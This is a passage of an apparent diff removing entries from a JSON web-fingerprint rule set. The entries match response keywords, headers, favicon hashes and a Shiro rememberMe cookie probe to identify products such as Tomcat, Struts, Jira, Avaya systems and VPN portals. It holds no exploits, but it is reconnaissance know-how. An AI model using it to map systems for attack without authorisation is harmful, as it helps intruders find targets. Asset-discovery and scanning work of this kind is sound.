"", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/oozie\">oozie console" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-oozie-web-console" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "\"Ranger" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-ranger" - }, - { - "path": "/", - "request_method": "post", - "request_headers": { - "Cookie": "rememberMe=admin;rememberMe-K=admin" - }, - "request_data": "", - "status_code": 0, - "headers": { - "Set-Cookie": "rememberMe" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "apache-shiro" - }, - { - "path": "/", - "request_method": "get", - "request_headers": { - "Cookie": "rememberMe=admin;rememberMe-K=admin" - }, - "request_data": "", - "status_code": 0, - "headers": { - "Set-Cookie": "rememberMe" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "apache-shiro" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - " shiro" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-shiro" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "sorry but SkyWalking doesn't work" - ], - "favicon_hash": [], - "priority": 1, - "name": "apache-skywalking" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 302, - "headers": { - "Location": "/solr/" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "apache-solr" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Storm UI" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-storm" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Location": "/index.action" - }, - "keyword": [], - "favicon_hash": [], - "priority": 1, - "name": "apache-struts" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Location": "/login.action" - }, - "keyword": [], - "favicon_hash": [], - "priority": 1, - "name": "apache-struts" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "=\"struts.token.name\"" - ], - "favicon_hash": [], - "priority": 1, - "name": "apache-struts" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Superset" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-superset" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"/static/assets/images/superset-logo-" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-superset" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 404, - "headers": {}, - "keyword": [ - "

Apache Tomcat/" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-tomcat" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "Apache Tomcat/" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-tomcat" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/manager/html", - "/manager/status" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-tomcat" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"tomcat.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-tomcat" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "this is the default tomcat home page" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-tomcat" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<h3>apache tomcat" - ], - "favicon_hash": [], - "priority": 3, - "name": "apache-tomcat" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "x-powered-by": "Tomcat" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "apache-tomcat" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "Apache-Coyote/" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "apache-tomcat" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [], - "favicon_hash": [ - "4644f2d45601037b8423d45e13194c93" - ], - "priority": 3, - "name": "apache-tomcat" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "logo apache unomi" - ], - "favicon_hash": [], - "priority": 2, - "name": "apache-unomi" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "xmlns:wicket=" - ], - "favicon_hash": [], - "priority": 2, - "name": "apache-wicket" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/org.apache.wicket." - ], - "favicon_hash": [], - "priority": 2, - "name": "apache-wicket" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Apache2 Ubuntu Default Page", - "ubuntu-logo.png" - ], - "favicon_hash": [], - "priority": 1, - "name": "apache2-ubuntu默认页面" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "this object on the apc management web server is protected" - ], - "favicon_hash": [], - "priority": 2, - "name": "apc-management" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "cas – central authentication service" - ], - "favicon_hash": [], - "priority": 3, - "name": "apereo-cas" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/plug-in/login/fixed/css/login.css\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "apex-livebpm" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "caddy" - }, - "keyword": [], - "favicon_hash": [], - "priority": 2, - "name": "apilayer-caddy" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "apollo-adminservice", - "Instances currently registered with Eureka" - ], - "favicon_hash": [], - "priority": 3, - "name": "apollo-adminservice" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "powerd by appcms" - ], - "favicon_hash": [], - "priority": 3, - "name": "appcms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "appex network corporation" - ], - "favicon_hash": [], - "priority": 3, - "name": "appex-lotapp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/change_lan.php?lanid=en" - ], - "favicon_hash": [], - "priority": 3, - "name": "appex-lotapp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "this script was generated by apphp calendar" - ], - "favicon_hash": [], - "priority": 2, - "name": "apphp-calendar" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "appserv/softicon.gif" - ], - "favicon_hash": [], - "priority": 2, - "name": "appserv" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "index.php?appservlang=th" - ], - "favicon_hash": [], - "priority": 2, - "name": "appserv" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<title>Sign In - Appwrite" - ], - "favicon_hash": [], - "priority": 3, - "name": "appwrite" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "管理apusic应用服务器" - ], - "favicon_hash": [], - "priority": 2, - "name": "apusic" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "apusic application server" - }, - "keyword": [], - "favicon_hash": [], - "priority": 2, - "name": "apusic" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "powered by: arab" - ], - "favicon_hash": [], - "priority": 3, - "name": "arab-portal" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "argo cd", - "argoproj.github.io" - ], - "favicon_hash": [], - "priority": 3, - "name": "argocd" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "argosoft mail server plus for" - ], - "favicon_hash": [], - "priority": 3, - "name": "argosoft-mail-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "资产灯塔系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "arl" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "an_util.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "array-vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "www.articlepublisherpro.com" - ], - "favicon_hash": [], - "priority": 3, - "name": "articlepublisherpro" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"article publisher pro" - ], - "favicon_hash": [], - "priority": 3, - "name": "articlepublisherpro" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "arvancloud" - }, - "keyword": [], - "favicon_hash": [], - "priority": 2, - "name": "arvancloud" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "upload/moban/images/style.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "asp168-oho" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "default.php?mod=article&do=detail&tid" - ], - "favicon_hash": [], - "priority": 3, - "name": "asp168-oho" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"aspcms" - ], - "favicon_hash": [], - "priority": 3, - "name": "aspcms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/inc/aspcms_advjs.asp" - ], - "favicon_hash": [], - "priority": 3, - "name": "aspcms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"/aspencui/css/appstyles.js" - ], - "favicon_hash": [], - "priority": 2, - "name": "aspentech-aspen-infoplus21" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "

modify this template to jump-start your asp.net mvc application.

" - ], - "favicon_hash": [], - "priority": 2, - "name": "aspnet-mvc" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "asp.net mvc application

" - ], - "favicon_hash": [], - "priority": 2, - "name": "aspnet-mvc" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "httprequestvalidationexception" - ], - "favicon_hash": [], - "priority": 3, - "name": "aspnet-requestvalidationmode" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "request validation has detected a potentially dangerous client input value" - ], - "favicon_hash": [], - "priority": 3, - "name": "aspnet-requestvalidationmode" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "surf the web invisibly using asproxy power" - ], - "favicon_hash": [], - "priority": 2, - "name": "asproxy" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "btnasproxydisplaybutton" - ], - "favicon_hash": [], - "priority": 2, - "name": "asproxy" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/js/_variables_from_backend.js?" - ], - "favicon_hash": [], - "priority": 2, - "name": "astaro-command-center" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "commandcenter" - ], - "favicon_hash": [], - "priority": 2, - "name": "astaro-command-center" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "asterisk_rawmanpath" - ], - "favicon_hash": [], - "priority": 2, - "name": "asterisk" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/smb/css/startup.png\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "asus-aicloud" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"asynq monitoring web console\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "asynqmon" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [], - "favicon_hash": [ - "7d56c3bcc4d9522bdc958785f1866776" - ], - "priority": 3, - "name": "asynqmon" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/content/web/theme/skin01/img/p_login_logo01.png" - ], - "favicon_hash": [], - "priority": 3, - "name": "atfuture-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Location": "/secure/SetupMode!default.jspa" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "atlassian-jira" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "jira.webresources" - ], - "favicon_hash": [], - "priority": 3, - "name": "atlassian-jira" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "ams-build-number" - ], - "favicon_hash": [], - "priority": 3, - "name": "atlassian-jira" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "com.atlassian.jira" - ], - "favicon_hash": [], - "priority": 3, - "name": "atlassian-jira" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "powered by atmail" - ], - "favicon_hash": [], - "priority": 3, - "name": "atmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/index.php/mail/auth/processlogin" - ], - "favicon_hash": [], - "priority": 3, - "name": "atmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "application enablement services " - ], - "favicon_hash": [], - "priority": 2, - "name": "avaya-application-enablement-services" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "avaya" - ], - "favicon_hash": [], - "priority": 2, - "name": "avaya-application-enablement-services" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "vmstitle\">avaya aura™ utility server" - ], - "favicon_hash": [], - "priority": 2, - "name": "avaya-aura-utility-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/webhelp/base/utility_toc.htm" - ], - "favicon_hash": [], - "priority": 2, - "name": "avaya-aura-utility-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "avaya aura® utility services" - ], - "favicon_hash": [], - "priority": 2, - "name": "avaya-aura-utility-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "avaya inc. all rights reserved" - ], - "favicon_hash": [], - "priority": 2, - "name": "avaya-aura-utility-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "var newlocation = \"https://\" + target + \"/cgi-bin/common/issue\";" - ], - "favicon_hash": [], - "priority": 3, - "name": "avaya-communication-manager" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"0;url=vsplogin.action" - ], - "favicon_hash": [], - "priority": 2, - "name": "avaya-system-platform" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "please visit 'www.avtech.com.tw'" - ], - "favicon_hash": [], - "priority": 2, - "name": "avtech-video-web-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "Remote Surveillance, Any time & Any where" - ], - "favicon_hash": [], - "priority": 2, - "name": "avtech-video-web-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/av732e/setup.exe" - ], - "favicon_hash": [], - "priority": 2, - "name": "avtech-video-web-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [], - "favicon_hash": [ - "ed8cf53ef6836184587ee3a987be074a" - ], - "priority": 2, - "name": "avtech-video-web-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "welcome to nginx on amazon ec2!" - ], - "favicon_hash": [], - "priority": 1, - "name": "aws-ec2" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "

what's next?

" - ], - "favicon_hash": [], - "priority": 2, - "name": "aws-elastic-beanstalk" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "aws.amazon.com/elasticbeanstalk" - ], - "favicon_hash": [], - "priority": 2, - "name": "aws-elastic-beanstalk" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"axcms.net" - ], - "favicon_hash": [], - "priority": 3, - "name": "axcms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "generated by axcms.net" - ], - "favicon_hash": [], - "priority": 3, - "name": "axcms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"axentra" - ], - "favicon_hash": [], - "priority": 3, - "name": "axentra-hipserv" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"axgate\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "axgate-sslvpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "axis2-web/css/axis-style.css" - ], - "favicon_hash": [], - "priority": 2, - "name": "axis2-web" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "axhttpd" - }, - "keyword": [], - "favicon_hash": [], - "priority": 2, - "name": "axtls-embad-httpd" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/powered-by-b2evolution-150t.gif" - ], - "favicon_hash": [], - "priority": 3, - "name": "b2evolution" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "powered by b2evolution" - ], - "favicon_hash": [], - "priority": 3, - "name": "b2evolution" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"b2evolution" - ], - "favicon_hash": [], - "priority": 3, - "name": "b2evolution" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "
" - ], - "favicon_hash": [], - "priority": 3, - "name": "backbee" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "登录密码错误次数超过5次,帐号被锁定。请联系省坏账系统管理员,或发邮件解锁" - ], - "favicon_hash": [], - "priority": 3, - "name": "bad-debt-management-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "id=\"yunjiasu_link" - ], - "favicon_hash": [], - "priority": 2, - "name": "baidu-subaidu" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/resource/images/cms.ico" - ], - "favicon_hash": [], - "priority": 3, - "name": "baishijia-cms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "bim 开发配置与运维控制台" - ], - "favicon_hash": [], - "priority": 3, - "name": "bamboocloud-bim" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "pm2项目管理系统bs版增强工具.zip" - ], - "favicon_hash": [], - "priority": 3, - "name": "bangyong-pm2" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "barracuda ssl vpn" - ], - "favicon_hash": [], - "priority": 3, - "name": "barracuda-ssl-vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "powered by: " - ], - "favicon_hash": [], - "priority": 2, - "name": "basic-php-events-lister" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "bbpress" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "is proudly powered by " - ], - "favicon_hash": [], - "priority": 3, - "name": "betasoft-pdm-data-acquisition" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "background: no-repeat url(../images/login/pdmdenglu1_28.png);" - ], - "favicon_hash": [], - "priority": 3, - "name": "betasoft-pdm-data-acquisition" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "版权所有:郑州蓝视科技有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "beyeon-iot" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "var app_smp_type_name = '门店';var app_grp_type_name = '集团'" - ], - "favicon_hash": [], - "priority": 3, - "name": "beyeon-iot" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "bhclientcer:\"/modules/web/common/data/bhclient.cer" - ], - "favicon_hash": [], - "priority": 3, - "name": "bh-bh5000c" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"images/bicesoft.css\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "bicesoft-super-custom-survey-voting-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "佰思超强自定义问卷调查系统(bicesoft.com)" - ], - "favicon_hash": [], - "priority": 3, - "name": "bicesoft-super-custom-survey-voting-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"loginin loginin1\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "biept-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "bigdump: staggered mysql dump importer" - ], - "favicon_hash": [], - "priority": 3, - "name": "bigdump" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "智慧网关配置平台" - ], - "favicon_hash": [], - "priority": 3, - "name": "bilin-uag系列网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href:'/billtool/querysum'" - ], - "favicon_hash": [], - "priority": 3, - "name": "billingtesttool" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/lims/dist/css/font-awesome.min.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "bio-lims" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/bds/stylesheets/fds.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "biscom-delivery-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/bds/includes/fdsjavascript.do" - ], - "favicon_hash": [], - "priority": 3, - "name": "biscom-delivery-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "bit-xxzs", - "xmlpzs/webissue.asp" - ], - "favicon_hash": [], - "priority": 3, - "name": "bit-service" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "bitbucket.page.login" - ], - "favicon_hash": [], - "priority": 3, - "name": "bitbucket" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href='http://www.bithighway.com' target=_blank>北京碧海威科技有限公司<" - ], - "favicon_hash": [], - "priority": 3, - "name": "bithighway-product" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "bkhttp" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "bitkeeper" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "alt=\"bitnami redmine stack" - ], - "favicon_hash": [], - "priority": 3, - "name": "bitnami-redmine-stack" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "bitrix_sm_time_zone" - ], - "favicon_hash": [], - "priority": 3, - "name": "bitrix-site-manager" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "bx.setcsslist" - ], - "favicon_hash": [], - "priority": 3, - "name": "bitrix-site-manager" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "
  • 下载证书应用环境
